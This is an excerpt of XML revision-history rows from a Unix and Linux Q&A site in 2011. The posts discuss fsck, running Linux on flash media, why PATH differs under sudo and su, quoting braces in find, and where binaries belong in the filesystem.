  <row Id="20420" PostHistoryTypeId="5" PostId="8638" RevisionGUID="3dc18e44-b881-4a15-9965-5c09b35f8262" CreationDate="2011-03-05T12:59:05.443" UserId="885" Comment="improved English; edited title" Text="How to make sure that fsck is correcting corruptions while keeping the integrity of file system?&#xD;&#xA;&#xD;&#xA;Suppose clients are writing lots of files through NFS to server, and there happens something that caused corruption (dirty shutdown/other kernel panic). So the current state of the filesystem is not known (partial write, etc). Then if we run fsck, it corrects corruptions (e.g. invalid blocks), and the filesystem is now _supposed_ to be up to date. How do I make sure my filesystem *i*s up to date?&#xD;&#xA;&#xD;&#xA;In common, I would use diff or dt to check again with the source from which the files were being written. But in this case, let's say that the source is no longer present after writing the files. &#xD;&#xA;" />
  <row Id="20421" PostHistoryTypeId="4" PostId="8638" RevisionGUID="3dc18e44-b881-4a15-9965-5c09b35f8262" CreationDate="2011-03-05T12:59:05.443" UserId="885" Comment="improved English; edited title" Text="How to test file system correction done by fsck." />
  <row Id="20422" PostHistoryTypeId="4" PostId="8627" RevisionGUID="948c485d-854d-4a0d-888b-b20693bd1b90" CreationDate="2011-03-05T13:13:26.163" UserId="885" Comment="nitpick: OpenWRT has very little GNU software, and here the important point is that it's a stripped-down system for a small device" Text="How do I add a new user to an embedded Linux system by hand?" />
  <row Id="20423" PostHistoryTypeId="6" PostId="8620" RevisionGUID="903642bb-9bbb-4086-84c2-be57d8322d54" CreationDate="2011-03-05T13:22:06.213" UserId="885" Comment="edited tags" Text="épackageömanagementàésolarisà" />
  <row Id="20424" PostHistoryTypeId="2" PostId="8644" RevisionGUID="ba860d6f-5151-4a05-ab83-dfbe1335e7af" CreationDate="2011-03-05T14:03:40.040" UserId="3635" Text="Since flash memory only has a limited number of writes, what tweaks are necessary for installing a Linux system onto flash media so that the OS can run reliably for a long period of time?&#xD;&#xA;&#xD;&#xA;Some examples of flash memory installations include burning a Linux image onto a wireless router's flash memory, or installing a linux distro onto a box that uses an SD card for it's hard drive.&#xD;&#xA;&#xD;&#xA;Also, besides wireless router firmware (OpenWRT, DD-WRT, etc) which presumably already implements such tweaks, are there any general-purpose distributions that either make these tweaks or allow you to use them as an option?" />
  <row Id="20425" PostHistoryTypeId="1" PostId="8644" RevisionGUID="ba860d6f-5151-4a05-ab83-dfbe1335e7af" CreationDate="2011-03-05T14:03:40.040" UserId="3635" Text="How to tweak Linux to run reliably on flash memory?" />
  <row Id="20426" PostHistoryTypeId="3" PostId="8644" RevisionGUID="ba860d6f-5151-4a05-ab83-dfbe1335e7af" CreationDate="2011-03-05T14:03:40.040" UserId="3635" Text="élinuxàéflashömemoryà" />
  <row Id="20427" PostHistoryTypeId="25" PostId="8644" RevisionGUID="20c5864e-9f40-44c0-a38e-ccad982b6d0e" CreationDate="2011-03-05T14:23:38.520" Comment="http://twitter.com/#!/StackUnix/status/44040375710650368" />
  <row Id="20428" PostHistoryTypeId="2" PostId="8645" RevisionGUID="b73a1ec7-5ef7-4683-95e8-be44690e2131" CreationDate="2011-03-05T14:25:08.103" UserId="3389" Text="The `/tmp` and `/var` directories are the ones that many system programs write to a lot, and depend on being writeable.  Minimizing writes to these directories, or configuring Linux to mount these directories on external storage devices that are replaceable, as opposed to on board flash, would go a long way towards accomplishing your goal.&#xD;&#xA;&#xD;&#xA;`/home` and swap partition should be treated the same way. &#xD;&#xA;&#xD;&#xA;`rsyslogd`, the default syslogd in Debian and many Debian-derived distros, has the capability to not write logs to disk, but ship them over a network connection, and only write them to storage if an internal buffer gets full.  Implementing this (which I'm trying to figure out how to do currently in a good way) could eliminate a lot of flash writes.&#xD;&#xA;&#xD;&#xA;Also, you want to mount your file systems with the `noatime` option which prevents Linux from updating the access time on each file you touch.  This can also eliminate a lot of writes and speed up performance.  I think there's also a kernel parameter that controls the time interval between Linux's automatic `sync` call.  If your system doesn't expect to experience sudden power outages you could set that to a higher value than the default of 5 seconds (I think)." />
  <row Id="20429" PostHistoryTypeId="2" PostId="8646" RevisionGUID="a98e9be0-a768-4b57-a755-1ab8f5482758" CreationDate="2011-03-05T14:50:58.947" UserId="3635" Text="On my fedora VM, when running with my user account I have `/usr/local/bin` in my path:&#xD;&#xA;&#xD;&#xA;    [justin@justin-fedora12 ~]$ env | grep PATH&#xD;&#xA;     PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/justin/bin&#xD;&#xA;&#xD;&#xA;And likewise when running `su`:&#xD;&#xA;&#xD;&#xA;    [justin@justin-fedora12 ~]$ su -&#xD;&#xA;    Password: &#xD;&#xA;    [root@justin-fedora12 justin]# env | grep PATH&#xD;&#xA;    PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/justin/bin&#xD;&#xA;&#xD;&#xA;However, when running via `sudo`, this directory is not in the path:&#xD;&#xA;&#xD;&#xA;    [root@justin-fedora12 justin]# exit&#xD;&#xA;    [justin@justin-fedora12 ~]$ sudo bash&#xD;&#xA;    [root@justin-fedora12 ~]# env | grep PATH&#xD;&#xA;    PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;&#xD;&#xA;Why would the path be different when running via `sudo`?&#xD;&#xA;" />
  <row Id="20430" PostHistoryTypeId="1" PostId="8646" RevisionGUID="a98e9be0-a768-4b57-a755-1ab8f5482758" CreationDate="2011-03-05T14:50:58.947" UserId="3635" Text="Why are PATH variables different when running via sudo and su?" />
  <row Id="20431" PostHistoryTypeId="3" PostId="8646" RevisionGUID="a98e9be0-a768-4b57-a755-1ab8f5482758" CreationDate="2011-03-05T14:50:58.947" UserId="3635" Text="élinuxàéfedoraàéenvironmentövariablesà" />
  <row Id="20432" PostHistoryTypeId="2" PostId="8647" RevisionGUID="8c28e607-a1e6-4cdc-ba02-9d4b10caa4a9" CreationDate="2011-03-05T14:55:36.573" UserId="4485" Text="The man page for gnu find states: &#xD;&#xA;&#xD;&#xA;    -exec command ;&#xD;&#xA;        [...] The  string `{}'  is  replaced  by the current &#xD;&#xA;        file name being processed everywhere it occurs in the &#xD;&#xA;        arguments to the command, not just in arguments where &#xD;&#xA;        it is alone, as in some  versions  of  find.&#xD;&#xA;        Both  of  these  constructions might need to be escaped &#xD;&#xA;        (with a `\') or quoted to protect them from expansion &#xD;&#xA;        by the shell. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That's from the man to find (GNU findutils) 4.4.2. &#xD;&#xA;&#xD;&#xA;Now I tested this with bash and dash, and both don't need to have the `{}` being masked. Here is a simple test:&#xD;&#xA;&#xD;&#xA;    find /etc -name &quot;hosts&quot; -exec md5sum {} \; &#xD;&#xA;&#xD;&#xA;Is there a shell, for which I really need to mask the braces? Note, that it doesn't depend upon whether the file found contains a blank (invoked from bash): &#xD;&#xA;&#xD;&#xA;    find ~ -maxdepth 1 -type d -name &quot;U*&quot; -exec ls -d {} \; &#xD;&#xA;    /home/stefan/Ubuntu One&#xD;&#xA;&#xD;&#xA;This changes if the found file is passed to a subshell:&#xD;&#xA;&#xD;&#xA;    find ~ -maxdepth 3 -type d -name &quot;U*&quot; -exec bash -c 'ls -d {}' \; &#xD;&#xA;    ls: cannot access /home/stefan/Ubuntu: No such file or directory&#xD;&#xA;    ls: cannot access One: No such file or directory&#xD;&#xA;&#xD;&#xA;in contrast to: &#xD;&#xA;&#xD;&#xA;    find ~ -maxdepth 3 -type d -name &quot;U*&quot; -exec bash -c 'ls -d &quot;{}&quot;' \; &#xD;&#xA;    /home/stefan/Ubuntu One&#xD;&#xA;&#xD;&#xA;but that's not what the man page is talking about, is it? So which shell treats {} in a different way?" />
  <row Id="20433" PostHistoryTypeId="1" PostId="8647" RevisionGUID="8c28e607-a1e6-4cdc-ba02-9d4b10caa4a9" CreationDate="2011-03-05T14:55:36.573" UserId="4485" Text="gnu find and masking the {} for some shells - which?" />
  <row Id="20434" PostHistoryTypeId="3" PostId="8647" RevisionGUID="8c28e607-a1e6-4cdc-ba02-9d4b10caa4a9" CreationDate="2011-03-05T14:55:36.573" UserId="4485" Text="éfindàéquotingà" />
  <row Id="20435" PostHistoryTypeId="2" PostId="8648" RevisionGUID="d46235bf-85f9-48ec-879f-a47df2665647" CreationDate="2011-03-05T15:00:35.773" UserId="3389" Text="`sudo bash` is starting a completely new shell.  `su` doesn't do this unless you use the `-` option, I think.&#xD;&#xA;&#xD;&#xA;`bash` when invoked will run commands in `~/.bash_profile` and `~/.bashrc`.  There's likely a `PATH=...` command in one of those files in `/root` or wherever Fedora puts the root user's home directory.  " />
  <row Id="20436" PostHistoryTypeId="2" PostId="8649" RevisionGUID="8e12ec5d-364e-40a8-b88b-0b86d57a8a1c" CreationDate="2011-03-05T15:05:16.720" UserId="4485" Text="In most linuxes, you install programs via the package management, and get updates in a regular way. If you install something circumventing the package management it will be installed in /usr/local/bin (for example, or .../sbin, or /opt) and not get regular updates. &#xD;&#xA;&#xD;&#xA;I guess therefore the programs aren't considered to be that secure, and not put into roots PATH by default. " />
  <row Id="20437" PostHistoryTypeId="2" PostId="8650" RevisionGUID="06b5c461-b5c2-48a6-b8d5-dba8df87881f" CreationDate="2011-03-05T15:08:47.263" UserId="5325" Text="In a word, `csh`.  `bash` and other modern shells recognize that the user probably isn't asking for a null brace expansion.  (Modern `csh` is actually `tcsh` and may also handle `{}` sanely by now.)" />
  <row Id="20438" PostHistoryTypeId="2" PostId="8651" RevisionGUID="72cc4f07-5923-4e49-9d32-c5028169705d" CreationDate="2011-03-05T15:16:50.570" UserId="5349" Text="I've just tried this out for myself and I didn't see the behaviour you were seeing - my path remained the same, so maybe your sudo configuration is different. If you check `man sudoers` you'll see there is an option called `secure_path` which resets `PATH` - it sounds like this option might have been enabled." />
  <row Id="20439" PostHistoryTypeId="2" PostId="8652" RevisionGUID="da2b1779-087a-412b-b50c-8fc1fc7c6bad" CreationDate="2011-03-05T15:19:25.273" UserId="2511" Text="Take a look at `/etc/sudoers`. The default file in Fedora includes this line:&#xD;&#xA;&#xD;&#xA;    Defaults    secure_path = /sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;&#xD;&#xA;Which insures that your path is clean when running binaries under sudo. This helps protect against some of the concerns [noted in this question][1]. It's also convenient if you don't have `/sbin` and `/usr/sbin` in your own path.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8581/" />
  <row Id="20440" PostHistoryTypeId="2" PostId="8653" RevisionGUID="098e4b93-93b0-4600-850d-008ce7f4151a" CreationDate="2011-03-05T15:22:30.123" UserId="250" Text="Because when you use `sudo bash`, `bash` doesn't not act as a login shell. Try again with `sudo bash -l` and you should see the same result as `su -`." />
  <row Id="20441" PostHistoryTypeId="5" PostId="6538" RevisionGUID="4703e027-99b0-4491-a409-d8326a0627a1" CreationDate="2011-03-05T15:25:58.857" UserId="4041" Comment="added 438 characters in body" Text="On my desktop Xorg leaks a lot of memory. I use to let this machine on for days (weeks, months ...), but about once a week I'm forced to restart xorg, because it is taking too much memory.&#xD;&#xA;&#xD;&#xA;Am I the only one affected by this issue? Why does this is happen?  &#xD;&#xA;Is it xorg to be _bugged_, or is it something else (maybe some xorg modules)?  &#xD;&#xA;Can I do anything to avoid it?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Some more infos:&#xD;&#xA;&#xD;&#xA;I'm on ArchLinux, kernel 2.6.36, nvidia drivers 260.19.36, gnome 2.32.1.&#xD;&#xA;&#xD;&#xA;Anyway I've got this issue from a lot of time, like more than one year.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is how the Xorg process is shown by top after about 9 days of uptime...&#xD;&#xA;&#xD;&#xA;     PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND&#xD;&#xA;    1591 root      20   0  278m 229m 9364 S    2 11.8 244:38.73 Xorg&#xD;&#xA;&#xD;&#xA;I've got only a few open windows. 229MB of resident memory looks like a lot to me (and it will keep growing with time). As soon as I reboot Xorg I'll also add process stats at the beginning of its life." />
  <row Id="20442" PostHistoryTypeId="5" PostId="8653" RevisionGUID="77ab52db-f307-4c39-8371-68ef4d180c33" CreationDate="2011-03-05T15:28:02.927" UserId="250" Comment="added 264 characters in body" Text="Because when you use `sudo bash`, `bash` doesn't not act as a login shell. Try again with `sudo bash -l` and you should see the same result as `su -`.&#xD;&#xA;&#xD;&#xA;If that is correct, then the difference in `PATH` lies in the configuration files: `/etc/profile`, `~/.bash_profile`, `~/.bash_login`, `~/.profile` are executed (in that order) for a login shell, while `~/.bashrc` is executed for a non-login interactive shell." />
  <row Id="20443" PostHistoryTypeId="2" PostId="8654" RevisionGUID="f722180a-c1f6-4a97-98c2-1e13da133ac3" CreationDate="2011-03-05T16:21:12.013" UserId="885" Text="**Summary**: If there ever was a shell that expanded `{}`, it's really old legacy stuff by now.&#xD;&#xA;&#xD;&#xA;In the Bourne shell and in POSIX-compliant shells, braces (`{` and `}`) are ordinary characters (unlike `(` and `)` which are word delimiters like `;` and `&amp;`, and `[` and `]` which are globbing characters). The following strings are all supposed to be printed literally:&#xD;&#xA;&#xD;&#xA;    $ echo { } {} {foo,bar} {1..3}&#xD;&#xA;    { } {} {foo,bar} {1..3}&#xD;&#xA;&#xD;&#xA;A word consisting of a single brace is a [reserved word](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_04), which is only special if it is the first word of a command.&#xD;&#xA;&#xD;&#xA;Ksh implements brace expansion as an incompatible extension to the Bourne shell. This can be turned off with `set +B`. Bash emulates ksh in this respect. Zsh implements brace expansion as well; there it can be turned off with `set +I` or `setopt ignore_braces` or `emulate sh`. None of these shells expand `{}` in any case, even when it's a substring of a word (e.g. `foo{}bar`), due to the common use in arguments to [`find`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/find.html) and [`xargs`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xargs.html).&#xD;&#xA;&#xD;&#xA;[Single Unix v2](http://pubs.opengroup.org/onlinepubs/7990989775/xcu/chap2.html#tag_001_004) notes that&#xD;&#xA;&#xD;&#xA;&gt; In some historical systems, the curly braces are treated as control operators. To assist in future standardisation activities, portable applications should avoid using unquoted braces to represent the characters themselves. It is possible that a future version of the ISO/IEC 9945-2:1993 standard may require that `{` and `}` be treated individually as control operators, although the token `{}` will probably be a special-case exemption from this because of the often-used `find` `{}` construct.&#xD;&#xA;&#xD;&#xA;This note was dropped in subsequent versions of the standard; the [examples for `find`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/find.html#tag_04_55_17) have unquoted uses of `{}`, as do the [examples for `xargs`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xargs.html#tag_04_173_17). There may have been historical Bourne shells where `{}` had to be quoted, but they would be really old legacy systems by now.&#xD;&#xA;&#xD;&#xA;The csh implementations I have at hand (OpenBSD 4.7, [BSD csh on Debian](http://packages.debian.org/lenny/csh), tcsh) all expand `{foo}` to `foo` but leave `{}` alone.&#xD;&#xA;" />
  <row Id="20444" PostHistoryTypeId="6" PostId="8647" RevisionGUID="8287e176-98a1-40f0-8ea2-af4c54ad3d1d" CreationDate="2011-03-05T16:24:32.417" UserId="885" Comment="edited tags" Text="éshellàéfindàéxargsàéquotingà" />
  <row Id="20445" PostHistoryTypeId="5" PostId="8590" RevisionGUID="234d8544-cc26-4675-895b-44b7f9cd09d1" CreationDate="2011-03-05T16:37:49.783" UserId="2783" Comment="added 238 characters in body; added 1 characters in body" Text="You can try with a simple infinite loop:&#xD;&#xA;&#xD;&#xA;    while true; do&#xD;&#xA;      python myapp.py&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;*Edit*: the above is just a simple generic example. Most probably modifications are needed to take into account exit errors etc. For example:&#xD;&#xA;&#xD;&#xA;     until $(python myapp.py; echo $?); do&#xD;&#xA;         echo &quot;exit ok, restarting&quot;&#xD;&#xA;     done" />
  <row Id="20446" PostHistoryTypeId="5" PostId="8590" RevisionGUID="2542e2bc-9adf-4b19-baaf-75e1dbbb7919" CreationDate="2011-03-05T16:43:12.680" UserId="2783" Comment="deleted 1 characters in body" Text="You can try with a simple infinite loop:&#xD;&#xA;&#xD;&#xA;    while true; do&#xD;&#xA;      python myapp.py&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;*Edit*: the above is just a simple generic example. Most probably modifications are needed to take into account exit errors etc. For example:&#xD;&#xA;&#xD;&#xA;     until `python myapp.py; echo $?`; do&#xD;&#xA;         echo &quot;exit ok, restarting&quot;&#xD;&#xA;     done" />
  <row Id="20447" PostHistoryTypeId="2" PostId="8655" RevisionGUID="dd5f8196-6138-42ed-9592-e483aa1ae836" CreationDate="2011-03-05T16:43:53.963" UserId="5369" Text="I have posted a script over in the Ubuntu forums and linux questions forums that addresses this problem (at least in my case) that uses imagemagick to resize 2 background images and stitch them together, and then change the background on a timer.  Both images are random from an index file the script creates.&#xD;&#xA;&#xD;&#xA;In my case it is for Twinview where both monitors are at the same resolution.&#xD;&#xA;&#xD;&#xA;http://www.linuxquestions.org/questions/linux-desktop-74/how-do-you-have-separate-wallpapers-on-gnome-w-multimonitor-setup-694154/" />
  <row Id="20448" PostHistoryTypeId="25" PostId="8646" RevisionGUID="467c51f9-710f-4908-913a-f05cd07c93fe" CreationDate="2011-03-05T17:23:38.620" Comment="http://twitter.com/#!/StackUnix/status/44085674613284864" />
  <row Id="20449" PostHistoryTypeId="2" PostId="8656" RevisionGUID="c179178b-9f3f-47ac-8b18-d3285610a7ce" CreationDate="2011-03-05T17:57:48.897" UserId="912" Text="Why are there so many places to put a binary in Linux? There are atleast these five:&#xD;&#xA;&#xD;&#xA;  1. `/bin/`&#xD;&#xA;  2. `/sbin/`&#xD;&#xA;  3. `/usr/bin/`&#xD;&#xA;  4. `/usr/local/bin/`&#xD;&#xA;  5. `/usr/local/sbin/`&#xD;&#xA;&#xD;&#xA;And on my office box, I do not have write permissions to some of these.&#xD;&#xA;&#xD;&#xA;What type of binary goes into which of these bins?" />
  <row Id="20450" PostHistoryTypeId="1" PostId="8656" RevisionGUID="c179178b-9f3f-47ac-8b18-d3285610a7ce" CreationDate="2011-03-05T17:57:48.897" UserId="912" Text="/usr/bin vs /usr/local/bin on Linux" />
  <row Id="20451" PostHistoryTypeId="3" PostId="8656" RevisionGUID="c179178b-9f3f-47ac-8b18-d3285610a7ce" CreationDate="2011-03-05T17:57:48.897" UserId="912" Text="éfilesystemsàébinaryàéfileöstructureà" />
  <row Id="20452" PostHistoryTypeId="2" PostId="8657" RevisionGUID="838e327e-c94c-446d-800e-7381bf1ef136" CreationDate="2011-03-05T18:21:54.330" UserId="4520" Text="The `sbin` directories contains programs which are generally system administration only.  Programs for regular users should never go in them.&#xD;&#xA;&#xD;&#xA;A few programs are needed during startup, and end up in `/bin/` or `/sbin/`.  These must be available before files systems are mounted. Things like `mount`, and `fsck` that are required to check and mount files systems must be there.&#xD;&#xA;&#xD;&#xA;Most packaged programs end up in `/usr/bin/` and `/usr/sbin/`.  These may be on a file system other than the root file system.  In some cases they may be on a network mounted drive.&#xD;&#xA;&#xD;&#xA;Local programs and scripts belong in `/usr/local/bin/` and `/usr/local/sbin/`.  This identifies them as clearly non-standard, and possibly only available on site. &#xD;&#xA;&#xD;&#xA;For further explanation try running the command `man hier` which should provide a description of the recommended file system hierarchy for your distribution.  You may also want to read about the [File System Hierarchy][1] on Wikipedia &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard" />
  <row Id="20453" PostHistoryTypeId="2" PostId="8658" RevisionGUID="46f976e2-2074-420a-82ce-9e50295a3da2" CreationDate="2011-03-05T18:22:12.333" UserId="5325" Text="1. `/bin` (and `/sbin`) were intended for programs that needed to be on a small `/` partition before the larger `/usr`, etc. partitions were mounted.  These days, it mostly serves as a standard location for key programs like `/bin/sh`, although the original intent may still be relevant for e.g. installations on small embedded devices.&#xD;&#xA; &#xD;&#xA;2. `/sbin`, as distinct from `/bin`, is for system management programs (not normally used by ordinary users) needed before `/usr` is mounted.&#xD;&#xA;&#xD;&#xA;3. `/usr/bin` is for distribution-managed normal user programs.&#xD;&#xA;&#xD;&#xA;4. There is a `/usr/sbin` with the same relationship to `/usr/bin` as `/sbin` has to `/bin`.&#xD;&#xA;&#xD;&#xA;4. `/usr/local/bin` is for normal user programs *not* managed by the distribution package manager, e.g. locally compiled packages. You should not install them into `/usr/bin` because future distribution upgrades may modify or delete them without warning.&#xD;&#xA;&#xD;&#xA;5. `/usr/local/sbin`, as you can probably guess at this point, is to `/usr/local/bin` as `/usr/sbin` to `/usr/bin`.&#xD;&#xA;&#xD;&#xA;In addition, there is also `/opt` which is for monolithic non-distribution packages, although before they were properly integrated various distributions put Gnome and KDE there.  Generally you should reserve it for large, poorly behaved third party packages such as Oracle." />
  <row Id="20454" PostHistoryTypeId="2" PostId="8659" RevisionGUID="513227cc-6a2d-43ec-ae0d-b5518f61ca85" CreationDate="2011-03-05T18:40:52.223" UserId="4856" Text="I have been trying to burn a few ISOs lately with no success and have certainly used this hardware in the past, so I am not sure what's going on. I am using DVD-R media (tried multiple discs) which appears to be supported by my drive. Here is the error I received in GnomeBaker on Fedora 14 (64):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;Executing 'builtin_dd if=/home/tja/Downloads/Torrents/bodhi_0.1.6.iso of=/dev/sr0 obs=32k seek=0'&#xD;&#xA;:-[ PERFORM OPC failed with SK=2h/CANNOT WRITE MEDIUM - INCOMPATIBLE FORMAT]: Wrong medium type&#xD;&#xA;/dev/sr0: &quot;Current Write Speed&quot; is 1.0x1352KBps.&#xD;&#xA;:-[ WRITE@LBA=0h failed with SK=2h/CANNOT WRITE MEDIUM - INCOMPATIBLE FORMAT]: Wrong medium type&#xD;&#xA;:-( media is not formatted or unsupported.&#xD;&#xA;:-( write failed: Wrong medium type&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;...and this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$ cdrecord -prcap&#xD;&#xA;wodim: Operation not permitted. Warning: Cannot raise RLIMIT_MEMLOCK limits.&#xD;&#xA;Device was not specified. Trying to find an appropriate drive...&#xD;&#xA;Detected CD-R drive: /dev/cdrw&#xD;&#xA;Using /dev/cdrom of unknown capabilities&#xD;&#xA;Device type    : Removable CD-ROM&#xD;&#xA;Version        : 5&#xD;&#xA;Response Format: 2&#xD;&#xA;Capabilities   : &#xD;&#xA;Vendor_info    : 'Memorex '&#xD;&#xA;Identification : 'DVD+/-DLRWL1 F16'&#xD;&#xA;Revision       : 'BWSB'&#xD;&#xA;Device seems to be: Generic mmc2 DVD-R/DVD-RW.&#xD;&#xA;&#xD;&#xA;Drive capabilities, per MMC-3 page 2A:&#xD;&#xA;&#xD;&#xA;  Does read CD-R media&#xD;&#xA;  Does write CD-R media&#xD;&#xA;  Does read CD-RW media&#xD;&#xA;  Does write CD-RW media&#xD;&#xA;  Does read DVD-ROM media&#xD;&#xA;  Does read DVD-R media&#xD;&#xA;  Does write DVD-R media&#xD;&#xA;  Does not read DVD-RAM media&#xD;&#xA;  Does not write DVD-RAM media&#xD;&#xA;  Does support test writing&#xD;&#xA;&#xD;&#xA;  Does read Mode 2 Form 1 blocks&#xD;&#xA;  Does read Mode 2 Form 2 blocks&#xD;&#xA;  Does read digital audio blocks&#xD;&#xA;  Does restart non-streamed digital audio reads accurately&#xD;&#xA;  Does support Buffer-Underrun-Free recording&#xD;&#xA;  Does read multi-session CDs&#xD;&#xA;  Does read fixed-packet CD media using Method 2&#xD;&#xA;  Does not read CD bar code&#xD;&#xA;  Does read R-W subcode information&#xD;&#xA;  Does not return R-W subcode de-interleaved and error-corrected&#xD;&#xA;  Does read raw P-W subcode data from lead in&#xD;&#xA;  Does return CD media catalog number&#xD;&#xA;  Does return CD ISRC information&#xD;&#xA;  Does support C2 error pointers&#xD;&#xA;  Does not deliver composite A/V data&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Does anyone have any ideas as to what caused this? I just reinstalled Fedora today (for other reasons) and I am still unable to burn a DVD. I am using Memorex DVD-R discs, and have tried different ones. The drive appears to read media just fine.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20455" PostHistoryTypeId="1" PostId="8659" RevisionGUID="513227cc-6a2d-43ec-ae0d-b5518f61ca85" CreationDate="2011-03-05T18:40:52.223" UserId="4856" Text="Can't burn DVD -- incompatible format" />
  <row Id="20456" PostHistoryTypeId="3" PostId="8659" RevisionGUID="513227cc-6a2d-43ec-ae0d-b5518f61ca85" CreationDate="2011-03-05T18:40:52.223" UserId="4856" Text="éfedoraàédvdàéburningà" />
  <row Id="20457" PostHistoryTypeId="2" PostId="8660" RevisionGUID="b4071ab6-53a9-4cc5-af69-af2c45024220" CreationDate="2011-03-05T18:47:45.427" UserId="4319" Text="The designers of the secured OpenWall GNU/*/Linux distro have also expressed critical opinions on `su` (for becoming root) and `sudo`. You might be interested in reading this thread:&#xD;&#xA;&#xD;&#xA;[...unfortunately both su and sudo are subtly but fundamentally&#xD;&#xA;flawed.](http://www.openwall.com/lists/owl-users/2004/10/20/6)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Apart from discussing the flaws of `su` and other things, Solar Designer also targets one specific reason to use `su`: &#xD;&#xA;&#xD;&#xA;&gt; Yes, it used to be common sysadmin&#xD;&#xA;&gt; wisdom to &quot;su root&quot; rather than login&#xD;&#xA;&gt; as root.  Those few who, when asked,&#xD;&#xA;&gt; could actually come up with a valid&#xD;&#xA;&gt; reason for this preference would refer&#xD;&#xA;&gt; to the better accountability achieved&#xD;&#xA;&gt; with this approach.  Yes, this really&#xD;&#xA;&gt; is a good reason in favor of this&#xD;&#xA;&gt; approach.  But it's also the only one. ...(read more)&#xD;&#xA;" />
  <row Id="20458" PostHistoryTypeId="5" PostId="8660" RevisionGUID="0af5dd9e-46a8-4448-b411-1bc711dae9dc" CreationDate="2011-03-05T18:55:20.140" UserId="4319" Comment="More info and quotes coming from the same team." Text="The designers of the secured OpenWall GNU/*/Linux distro have also expressed critical opinions on `su` (for becoming root) and `sudo`. You might be interested in reading this thread:&#xD;&#xA;&#xD;&#xA;[...unfortunately both su and sudo are subtly but fundamentally&#xD;&#xA;flawed.](http://www.openwall.com/lists/owl-users/2004/10/20/6)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Apart from discussing the flaws of `su` and other things, Solar Designer also targets one specific reason to use `su`: &#xD;&#xA;&#xD;&#xA;&gt; Yes, it used to be common sysadmin&#xD;&#xA;&gt; wisdom to &quot;su root&quot; rather than login&#xD;&#xA;&gt; as root.  Those few who, when asked,&#xD;&#xA;&gt; could actually come up with a valid&#xD;&#xA;&gt; reason for this preference would refer&#xD;&#xA;&gt; to the better accountability achieved&#xD;&#xA;&gt; with this approach.  Yes, this really&#xD;&#xA;&gt; is a good reason in favor of this&#xD;&#xA;&gt; approach.  But it's also the only one. ...(read more)&#xD;&#xA;&#xD;&#xA;In their distro, they have [&quot;completely got rid of SUID root programs in the default install&quot;](http://www.openwall.com/lists/oss-security/2010/11/08/3) (i.e., including `su`; and they do not use capabilities for this):&#xD;&#xA;&#xD;&#xA;&gt; For servers, I think people need to&#xD;&#xA;&gt; reconsider and, in most cases,&#xD;&#xA;&gt; disallow invocation of su and sudo by&#xD;&#xA;&gt; the users.  There's no added security&#xD;&#xA;&gt; from the old &quot;login as non-root, then&#xD;&#xA;&gt; su or sudo to root&quot; sysadmin &quot;wisdom&quot;,&#xD;&#xA;&gt; as compared to logging in as non-root&#xD;&#xA;&gt; and as root directly (two separate&#xD;&#xA;&gt; sessions).  On the contrary, the&#xD;&#xA;&gt; latter approach is the only correct&#xD;&#xA;&gt; one, from a security standpoint:&#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.openwall.com/lists/owl-users/2004/10/20/6&#xD;&#xA;&gt; &#xD;&#xA;&gt; (For accountability of multiple&#xD;&#xA;&gt; sysadmins, the system needs to support&#xD;&#xA;&gt; having multiple root-privileged&#xD;&#xA;&gt; accounts, like Owl does.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; (For desktops with X, this gets&#xD;&#xA;&gt; trickier.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; You also absolutely have to deal with...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20459" PostHistoryTypeId="5" PostId="8659" RevisionGUID="0918173c-7d17-4cc8-b20c-a03cef512445" CreationDate="2011-03-05T19:12:31.730" UserId="4856" Comment="added 1401 characters in body" Text="I have been trying to burn a few ISOs lately with no success and have certainly used this hardware in the past, so I am not sure what's going on. I am using DVD-R media (tried multiple discs) which appears to be supported by my drive. Here is the error I received in GnomeBaker on Fedora 14 (64):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;Executing 'builtin_dd if=/home/tja/Downloads/Torrents/bodhi_0.1.6.iso of=/dev/sr0 obs=32k seek=0'&#xD;&#xA;:-[ PERFORM OPC failed with SK=2h/CANNOT WRITE MEDIUM - INCOMPATIBLE FORMAT]: Wrong medium type&#xD;&#xA;/dev/sr0: &quot;Current Write Speed&quot; is 1.0x1352KBps.&#xD;&#xA;:-[ WRITE@LBA=0h failed with SK=2h/CANNOT WRITE MEDIUM - INCOMPATIBLE FORMAT]: Wrong medium type&#xD;&#xA;:-( media is not formatted or unsupported.&#xD;&#xA;:-( write failed: 